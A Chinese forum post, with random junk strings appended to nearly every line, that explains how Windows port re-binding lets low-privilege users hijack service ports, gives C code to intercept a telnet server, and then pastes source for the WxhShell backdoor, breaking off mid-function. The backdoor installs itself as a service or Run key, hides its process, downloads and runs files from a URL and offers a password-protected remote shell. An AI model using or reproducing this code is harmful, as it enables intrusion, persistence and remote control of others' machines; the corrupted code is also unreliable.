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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D4-ifsP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Cc' 37~6~P  
,+vy,<e&  
  saddr.sin_family = AF_INET; R_ ,UMt  
2U\u4N O{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [OV"}<V  
," Wr"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aa?b`[Xa  
H*&f:mfq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )3Iz (Ql  
K>r,(zgVc  
  这意味着什么?意味着可以进行如下的攻击: )=Z>#iH1  
]J}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3kIN~/<R+7  
+N9X/QFKV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?{|q5n  
6?mibvK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +[AQUc  
% X+:o]T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [.8BTj1%  
B=yqW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N^ds RYC  
V>)OpvoT#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t?ZI".>  
^ft>@=K(|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YEs&  
R{3N&C  
  #include YX7L?=;.@  
  #include *:YiimOY"  
  #include "Hb"F?Yb  
  #include    KRLQ #,9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WJndoB.f[2  
  int main() udF~5w H  
  { /-ch`u md  
  WORD wVersionRequested; 2LL'J7  
  DWORD ret; w%VU/6~  
  WSADATA wsaData; tl4V7!U@^z  
  BOOL val; =J]]EoX/  
  SOCKADDR_IN saddr; ,p@y] cr  
  SOCKADDR_IN scaddr; *,)Md[  
  int err; `*["UER  
  SOCKET s; k\YG^I  
  SOCKET sc; a| x.C6P e  
  int caddsize; wd^':  
  HANDLE mt; eV"h0_ox  
  DWORD tid;   RtP2]O(F  
  wVersionRequested = MAKEWORD( 2, 2 ); Xy&A~F  
  err = WSAStartup( wVersionRequested, &wsaData ); 6BHXp# #z  
  if ( err != 0 ) { e *(!^Q1  
  printf("error!WSAStartup failed!\n"); }DE g-j,F  
  return -1; 0hNA1Fh{U  
  } ygS;$2m%2  
  saddr.sin_family = AF_INET; .E1rqBG  
   <#y[gTJ<'>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 88gM?G _X  
BB$>h}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [0[i5'K:  
  saddr.sin_port = htons(23); k>Vci{v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kr5">"7  
  { VimE@Hz  
  printf("error!socket failed!\n"); He/8=$c%  
  return -1; qu6D 5t  
  } ;Ax }KN7  
  val = TRUE; C12Fl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Nw/  ku  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eKLZt%=  
  { `$<.pOm  
  printf("error!setsockopt failed!\n"); |'8Nh  
  return -1; Nk 8B_{  
  } 7Lc]HSZo,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )?n aN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o>i4CCU+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B6As,)RjD:  
4*#18<u5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qI9z;_,gNz  
  { K5VWt)Z#  
  ret=GetLastError(); m6K}|j  
  printf("error!bind failed!\n"); 6NuD4Ga  
  return -1; S_4?K)n #  
  } K.nHii   
  listen(s,2); (sTpmQx,b  
  while(1) UiP"Ixg6  
  { o.g V4%  
  caddsize = sizeof(scaddr); f#"J]p  
  //接受连接请求 { Fb*&|-n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n)e 6>R ;  
  if(sc!=INVALID_SOCKET) vHc%z$-d  
  { @#>rYAb8,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D~iz+{Q4  
  if(mt==NULL) -1_)LO&H  
  { $q{!5-e  
  printf("Thread Creat Failed!\n"); _QE qk@ql  
  break; x7w4[QYw  
  } xY8$I6  
  } Al^d$FaF  
  CloseHandle(mt); J26 VnK  
  } {n.PF8A5X  
  closesocket(s); :$|HNeDO  
  WSACleanup(); 9Cp-qA%t  
  return 0; M}-Rzc  
  }   |?xN\O^#}  
  DWORD WINAPI ClientThread(LPVOID lpParam) t%FwXaO#  
  { G]tn i  
  SOCKET ss = (SOCKET)lpParam; SrJGTuXg  
  SOCKET sc; beGa#JH,  
  unsigned char buf[4096]; o#gWbAG;]b  
  SOCKADDR_IN saddr; |\t-g" ~sN  
  long num; b<ZIWfs  
  DWORD val; 9(7-{,c  
  DWORD ret; B eo@K|3GN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Tc:)- z[o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @4#c&h 3  
  saddr.sin_family = AF_INET; ({)+3]x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mb3"U"ohs  
  saddr.sin_port = htons(23); 4Uo&d#o)C-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W:nef<WH  
  { su( 1<S}  
  printf("error!socket failed!\n"); rJT a  
  return -1; F6|]4H.3Q  
  } 1D7 `YKI9h  
  val = 100; EU;9 *W<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >dD@j:Qc  
  { 1{. |+S Z!  
  ret = GetLastError(); 70nqD>M4  
  return -1; L,`LN>  
  } X-Kh(Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2(+2+ }  
  { q`a'gJx#y  
  ret = GetLastError(); 1#2 I  
  return -1; At>DjKx]O  
  } NB#OCH1/9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iB yf{I>+  
  { m,w A:o$'  
  printf("error!socket connect failed!\n"); hEH?[>9  
  closesocket(sc); }?i0  I  
  closesocket(ss); 69NeQ$](  
  return -1; w3_>VIZJl  
  } pa3{8x{9m  
  while(1) OLGE!&!>  
  { 7U"g3 a)=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2- h{N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q:0N<$63  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 783,s_  
  num = recv(ss,buf,4096,0); >\#*P'y`d  
  if(num>0) Eyqa?$R  
  send(sc,buf,num,0); C2I_%nU Z1  
  else if(num==0) p%Vt#?q  
  break; &`r-.&Y  
  num = recv(sc,buf,4096,0); LA5(sp@O  
  if(num>0) 0i>5<ej,f  
  send(ss,buf,num,0); k%#EEMh  
  else if(num==0) 4.aZ# c91_  
  break; FVbb2Y?R  
  } !i}w~U<  
  closesocket(ss); 8/cX]J  
  closesocket(sc); 5Ln,{vsv  
  return 0 ; M FMs[+2_o  
  } BwpqNQN  
7S :\"A7  
,/2Vt/lt  
========================================================== s 5Qcl;}  
4E+e}\r:6  
下边附上一个代码,,WXhSHELL bsli0FJSh'  
V)k4:H  
========================================================== pYEMmZ?L  
|syR6(U}  
#include "stdafx.h" .`H5cuF`  
lrE5^;/s1  
#include <stdio.h> ? :%@vM  
#include <string.h> ec;o\erPG  
#include <windows.h> I$G['` XX/  
#include <winsock2.h> {dlXLx!B  
#include <winsvc.h> ^uc=f2=>,  
#include <urlmon.h> {}n^cq  
iWkWR"ys y  
#pragma comment (lib, "Ws2_32.lib") h,N?Ab'S  
#pragma comment (lib, "urlmon.lib") i1d'nxk6  
EME|k{W  
#define MAX_USER   100 // 最大客户端连接数 ;JT-kw6l5K  
#define BUF_SOCK   200 // sock buffer `$ 9x1dx  
#define KEY_BUFF   255 // 输入 buffer a58H9w"u)  
fTec  
#define REBOOT     0   // 重启 9W5lSX#^;  
#define SHUTDOWN   1   // 关机 \V63qg[  
g:@#@1rB6  
#define DEF_PORT   5000 // 监听端口 _|2:_N=   
<xm7qmqI  
#define REG_LEN     16   // 注册表键长度 .~;\eW[  
#define SVC_LEN     80   // NT服务名长度 ?l{nk5,?-Y  
5C ]x!>kX  
// 从dll定义API ,&.!?0+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !;A\.~-!G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .p[ux vp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "&u@d~`-n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wn2NMXK  
^^$s%{ep"  
// wxhshell配置信息 IEi^kJflU  
struct WSCFG { U7F!Z( 9  
  int ws_port;         // 监听端口 B9z?mt'|r)  
  char ws_passstr[REG_LEN]; // 口令 JH9J5%sp  
  int ws_autoins;       // 安装标记, 1=yes 0=no S%>]q s  
  char ws_regname[REG_LEN]; // 注册表键名 T!#GW/?  
  char ws_svcname[REG_LEN]; // 服务名 + &Eqk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YD6'#(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (w3YvG.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2/^3WY1U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ES7s1O$#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ouQ T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *i%d,w0+  
~36!?&eA8  
}; d7upz]K9g  
U iW>J  
// default Wxhshell configuration g! |kp?  
struct WSCFG wscfg={DEF_PORT, =dKtV.L  
    "xuhuanlingzhe", :5<UkN)R(  
    1, #;yZ  
    "Wxhshell", N4!O.POP  
    "Wxhshell", r,p%U!S<hV  
            "WxhShell Service", ;A*]l' [-  
    "Wrsky Windows CmdShell Service", oMa6(3T?E  
    "Please Input Your Password: ", XRi8Gpg  
  1, m:2^= l4  
  "http://www.wrsky.com/wxhshell.exe", NXrlk  
  "Wxhshell.exe" CD~.z7,LC  
    }; Xx:"4l.w.  
L="}E rmK  
// 消息定义模块 $U~]=.n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Aqtew+A&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PJH&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3]S$ih&A  
char *msg_ws_ext="\n\rExit."; gM:".Ee  
char *msg_ws_end="\n\rQuit."; q2E_ A  
char *msg_ws_boot="\n\rReboot..."; ;.980+i1  
char *msg_ws_poff="\n\rShutdown..."; ;e*!S}C,  
char *msg_ws_down="\n\rSave to "; 7!E,V:bt'  
} q8ASYNc  
char *msg_ws_err="\n\rErr!"; UaeXY+O  
char *msg_ws_ok="\n\rOK!"; :vbW  
O\ r0bUPE  
char ExeFile[MAX_PATH]; {P_.~0pc*  
int nUser = 0; 6i/(5 nQ  
HANDLE handles[MAX_USER]; 26h21Z16q  
int OsIsNt; b ]KBgZ  
b \2 ds,  
SERVICE_STATUS       serviceStatus; ~4'$yWG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I!K6o.|1  
3!]rmZ-W  
// 函数声明 xA*<0O\V  
int Install(void); > ~O.@|  
int Uninstall(void); Gd85kY@w7  
int DownloadFile(char *sURL, SOCKET wsh); JWxwJex  
int Boot(int flag); ?Ir:g=RP*  
void HideProc(void); ym1Y4,  
int GetOsVer(void); &6VnySE?  
int Wxhshell(SOCKET wsl); P&Vv/D  
void TalkWithClient(void *cs); 7%M_'P4 V  
int CmdShell(SOCKET sock); wibNQ`4k  
int StartFromService(void); Q$"D]!G  
int StartWxhshell(LPSTR lpCmdLine); FYQS)s  
;2QP7PrSY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T>W,'H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]Y&VT7+Z  
;$g?T~v7  
// 数据结构和表定义 @r1_U,0e  
SERVICE_TABLE_ENTRY DispatchTable[] = 5{,<j\#L  
{ 9pfIzs su3  
{wscfg.ws_svcname, NTServiceMain}, 8quaXVj^a  
{NULL, NULL} Z% UP6%  
}; ox.F%)eQ  
$XH^~i;  
// 自我安装 OjA,]Gv6  
int Install(void) CqC`8fD1  
{ 9\(| D#  
  char svExeFile[MAX_PATH]; Q3?F(ER@  
  HKEY key; p]c%f 2E>d  
  strcpy(svExeFile,ExeFile); Q"#J6@  
fk-RV>yr  
// 如果是win9x系统,修改注册表设为自启动 X:{!n({r=  
if(!OsIsNt) { A04U /;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -KbYOb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !&E-}}<  
  RegCloseKey(key); :ShT|n7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jPkn[W# 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aN3;`~{9  
  RegCloseKey(key); ?a]mDx>xh  
  return 0; )4;`^]F  
    } 0"z9Q\{}  
  } ,V}WM%Km  
} _yR^*}xJb  
else { e*1_8I#2  
R4d=S4 i  
// 如果是NT以上系统,安装为系统服务 Tlr v={  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uB?ZcF}Tk  
if (schSCManager!=0) .=; ;  
{ `Pnoxm'  
  SC_HANDLE schService = CreateService ~g t@P  
  ( K*dCc}:`  
  schSCManager, @C aG9]  
  wscfg.ws_svcname, G3v5KmT  
  wscfg.ws_svcdisp, >yDZw!C  
  SERVICE_ALL_ACCESS, Y_P!B^z3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _)-o1`*-  
  SERVICE_AUTO_START, mX|ojZ  
  SERVICE_ERROR_NORMAL, q5S9C%b  
  svExeFile, dAj$1Ke  
  NULL, pfI&E#:5  
  NULL, I%Z  
  NULL, d/ @,@8:  
  NULL, <OPArht  
  NULL }<:}XlwT%  
  ); ,2ar7 5Va  
  if (schService!=0) 1h5 Akq  
  { C7AUsYM  
  CloseServiceHandle(schService); 5F"jk d+  
  CloseServiceHandle(schSCManager); 9N3eN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d'sZxU  
  strcat(svExeFile,wscfg.ws_svcname); kcx Ad   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x,Vr=FB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )`D:F>p*  
  RegCloseKey(key); 2J;g{95z  
  return 0; SgOheN-  
    } *8XEYZa  
  } @KAI4LP  
  CloseServiceHandle(schSCManager); #.[k=dj   
} 3;Fhg!Z O  
} vvOV2n .WD  
9nbLg5P  
return 1; zx7{U8*`<  
} &kw@,];4Z  
&+R?_Ooibk  
// 自我卸载 ehY5!D1Q  
int Uninstall(void) Rlirs-WQ  
{ :U x_qB  
  HKEY key; HpnWo DM  
Z%\,w(o[h  
if(!OsIsNt) { "zy7C*)>r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #LOwGJ$yVz  
  RegDeleteValue(key,wscfg.ws_regname); Y nZiT e@  
  RegCloseKey(key); BsJC0I(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4X|zmr:A  
  RegDeleteValue(key,wscfg.ws_regname); xN%K^Tree  
  RegCloseKey(key); ;bhT@aB1  
  return 0; uW3!Yg@  
  } v*yuE5{  
} #3d(M  
} sp`Dvqx0  
else { @\I#^X5lv  
pb=h/8R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f y8Uk;  
if (schSCManager!=0) N}YkMJy  
{ TuqH*{NNy9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FC"8#*x  
  if (schService!=0) I++. ee  
  { 7t_^8I%[  
  if(DeleteService(schService)!=0) { 8HdAFRw  
  CloseServiceHandle(schService); -|\ZrE_h  
  CloseServiceHandle(schSCManager); ^sg,\zD 'X  
  return 0; sn>~O4"  
  } W*w3 [_"sr  
  CloseServiceHandle(schService); WMP,\=6k0  
  } tklH@'q  
  CloseServiceHandle(schSCManager); ^zgo#J 5O  
} /H+a0`/  
} 7v_8_K  
M& CqSd  
return 1; \5cpFj5%  
} n{SJ_S#a.a  
A. w:h;7  
// 从指定url下载文件 Dn}Jxu'(  
int DownloadFile(char *sURL, SOCKET wsh) 2dgd~   
{ !5?<% *  
  HRESULT hr; z&^&K}  
char seps[]= "/"; YT8F#t8  
char *token; c6/=Gq{.  
char *file; sUm'  
char myURL[MAX_PATH]; W+1^4::+  
char myFILE[MAX_PATH]; B,fo(kG  
& "B=/-(  
strcpy(myURL,sURL); Nl1D o:PY  
  token=strtok(myURL,seps); kz7(Z'pw  
  while(token!=NULL) 4I5Y,g{6+  
  { Ld-_,-n  
    file=token; IdxzE_@  
  token=strtok(NULL,seps); W'TaBuCb  
  } pcI uN  
]"1DGg \A  
GetCurrentDirectory(MAX_PATH,myFILE); 9 JK Ew  
strcat(myFILE, "\\"); k.15CA`  
strcat(myFILE, file); #yvGK:F  
  send(wsh,myFILE,strlen(myFILE),0); eQvg7aO;  
send(wsh,"...",3,0); -o EW:~y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5QO9Q]I#_\  
  if(hr==S_OK) Jqi%|,/]N  
return 0; -C&P%tt Y  
else vgN&K@hJ  
return 1; P}`H ~N~  
u08mqEa  
} Nu~lsWyRI5  
8|58 H  
// 系统电源模块 -1ub^feJ,  
int Boot(int flag) n>U5R_T  
{ 2jCfT>`3  
  HANDLE hToken; VBcPu  
  TOKEN_PRIVILEGES tkp; .Rf_Cl  
}?v )N).kW  
  if(OsIsNt) { =[jXe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hqkz^!rp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -!]ZMi9  
    tkp.PrivilegeCount = 1; ?p8_AL'RS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J`1rJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V,N%;iB}  
if(flag==REBOOT) { r^ ZEImjc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D=&Me=$  
  return 0; K8Y=S12Ti  
} uOdl*|T?  
else { c<$OA=n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >!)DM]Ri  
  return 0; Jma1N;d  
} P\)iZiGc  
  } l_%6  
  else { g_COp "!~9  
if(flag==REBOOT) { <dhM\^ [  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c6]D-YNF G  
  return 0; FH+s s!  
} \v)+.m?n  
else { gCY';\f!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v0jgki4 t  
  return 0; Hc(OI|z~  
} kt$jm)UI~l  
} XACm[NY_  
]-QA'Lq  
return 1; ,:\|7F  
} TT3|/zwn  
\d$!a5LF}  
// win9x进程隐藏模块 G+|` 2an  
void HideProc(void) /J6rv((  
{ 0}q uG^%_  
aPbE;" f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q^txVUL  
  if ( hKernel != NULL ) dL )<% o  
  { l8#EM1g-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x{/g(r={}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5iyd Z  
    FreeLibrary(hKernel);  zi`o#+  
  } ]+:^W^bs:  
(;^syJrh  
return; J!U}iD@occ  
} S\!ana])  
!H>R%g#28_  
// 获取操作系统版本  t[ C/  
int GetOsVer(void) x>`%DwoRI  
{ (mtk 4  
  OSVERSIONINFO winfo; _MX>#!l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .];=Pu^  
  GetVersionEx(&winfo); (n9g kO&8"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `~CQU  
  return 1; M{hg0/}sUW  
  else qR+!l(  
  return 0; 54li^   
} +pn N!:q  
}s<4{:cv+  
// 客户端句柄模块 :T !'N\7  
int Wxhshell(SOCKET wsl) L AAHEv  
{ oj_3ZsO  
  SOCKET wsh; V-L"gnd&2  
  struct sockaddr_in client; %UCr;H/  
  DWORD myID; oWo- j<  
qVwIo.g!  
  while(nUser<MAX_USER) =xx]@  
{ v9O~@v{=  
  int nSize=sizeof(client); Px`!A EFd[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q9G;V]./  
  if(wsh==INVALID_SOCKET) return 1; xLH)P<^`C  
CooQ>f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %m$Sp47  
if(handles[nUser]==0) ?|B&M\}g  
  closesocket(wsh); a8Nh=^Py  
else mmRJ9OhS  
  nUser++; =k`Cr0aPF  
  } h6`6tk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UVIKQpA]A  
uT7B#b7  
  return 0; Qtv&ijFC  
} i5?q,_  
R>mmoG}MQ[  
// 关闭 socket ]R9HyCl&a6  
void CloseIt(SOCKET wsh) xw2[d+mB  
{ Av V|(K"  
closesocket(wsh); ' AEE[  
nUser--; 56-dD5{hxR  
ExitThread(0); xCl1g4N  
} =uYYsC\T  
2/=l|!JKLz  
// 客户端请求句柄 cI?8RF(;  
void TalkWithClient(void *cs) +jnJ|h({  
{ JKmIvZ)8  
r{I% \R!@  
  SOCKET wsh=(SOCKET)cs; {vyv7L  
  char pwd[SVC_LEN]; )6,=f.%  
  char cmd[KEY_BUFF]; z]`k#O%%)  
char chr[1]; 9b"=9y,  
int i,j; 9=h'9Wo  
^)*-Bo)I  
  while (nUser < MAX_USER) {  ^J)mH[  
!"/n/jz  
if(wscfg.ws_passstr) { e)#J1(j_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  >DZw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EkNunCls  
  //ZeroMemory(pwd,KEY_BUFF); Tl[!=S  
      i=0; hD*SpVI U  
  while(i<SVC_LEN) { YhE+W  
!1 8clL  
  // 设置超时 aa#Y=%^  
  fd_set FdRead; =sJ7=39  
  struct timeval TimeOut; EZ$>.iy{  
  FD_ZERO(&FdRead); "~7>\>UFh  
  FD_SET(wsh,&FdRead); ?3zc=J"t  
  TimeOut.tv_sec=8; \VyZ  
  TimeOut.tv_usec=0; "8^ Ch{G-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dS!:JO27  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $jI3VB  
MWpQ^dL_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ig0j`  
  pwd=chr[0]; %'7lbpy,f  
  if(chr[0]==0xd || chr[0]==0xa) { WRy aKM  
  pwd=0; yiC^aY=-  
  break; "haL  
  } dj7hx"BI  
  i++; 6GSI"M6s  
    } LzXmb 7A  
6NM:DI\%  
  // 如果是非法用户,关闭 socket !y:v LB#q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^2on.N q>  
} vZ&T}H~8  
'o+L41  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^l=!JP=M=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }v!$dr,j '  
Vjp1RWb  
while(1) { *4+"Lh.KS  
jW3!6*93  
  ZeroMemory(cmd,KEY_BUFF); Xr$J9*Jk-  
eWtZ]kB  
      // 自动支持客户端 telnet标准   -vR5BMy=  
  j=0; '\ey<}?5V  
  while(j<KEY_BUFF) { ]#l/2V1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o(LFh[  
  cmd[j]=chr[0]; %gyLCTw  
  if(chr[0]==0xa || chr[0]==0xd) { {/(D$"j(S  
  cmd[j]=0; _c*=4y  
  break; s{S4J'VW  
  } M&@b><B  
  j++; &d+Kg0:  
    } 0y;*Cfi9  
3z)Kz*xr  
  // 下载文件 dWUm\t'#  
  if(strstr(cmd,"http://")) { O%(fx!c`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kabnVVn~  
  if(DownloadFile(cmd,wsh)) uK$9Ll{lk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q[`]D7W "  
  else 6[LM_eP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vCxD~+zf  
  } 1[qLA!+  
  else { QnXA*6DJ  
G!W[8UG  
    switch(cmd[0]) { bRJMYs  
  1+qw$T  
  // 帮助 t2"O  
  case '?': { qnJt5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?NR A:t(}  
    break; wF,UE _  
  } iH@yCNE"  
  // 安装 VsgE!/>1  
  case 'i': { qY<'<T4\  
    if(Install()) 6c"0})p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +5o8KYV  
    else =Z+nz^'b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $8xl#SqH  
    break; zb}9%.U  
    } :xD=`ib  
  // 卸载 V\6[}J  
  case 'r': { ^G.Xc\^w:  
    if(Uninstall()) QM O!v;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QP)pgAc  
    else %Nhx;{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,TPISs  
    break; g[I b,la_a  
    } ang~<  
  // 显示 wxhshell 所在路径 Xr2ou5zAn  
  case 'p': { . DR<Te  
    char svExeFile[MAX_PATH]; %K` % *D  
    strcpy(svExeFile,"\n\r"); ~ ! 3I2  
      strcat(svExeFile,ExeFile); " '6;/N  
        send(wsh,svExeFile,strlen(svExeFile),0); qg!|l7e  
    break; ~j5x+yC  
    } #iWSDy  
  // 重启 R_68-WO  
  case 'b': { a /#PLP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )V ;mwT!Q  
    if(Boot(REBOOT)) =p?WBZT|:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4EZ9hA9+  
    else { n9A7K$ZD@  
    closesocket(wsh); bQP{|  
    ExitThread(0); ->O2I?  
    } W#BM(I  
    break; x~{;TZa[I  
    } te !S09(  
  // 关机 <]4i`6{v  
  case 'd': { ;F#7Px(q  
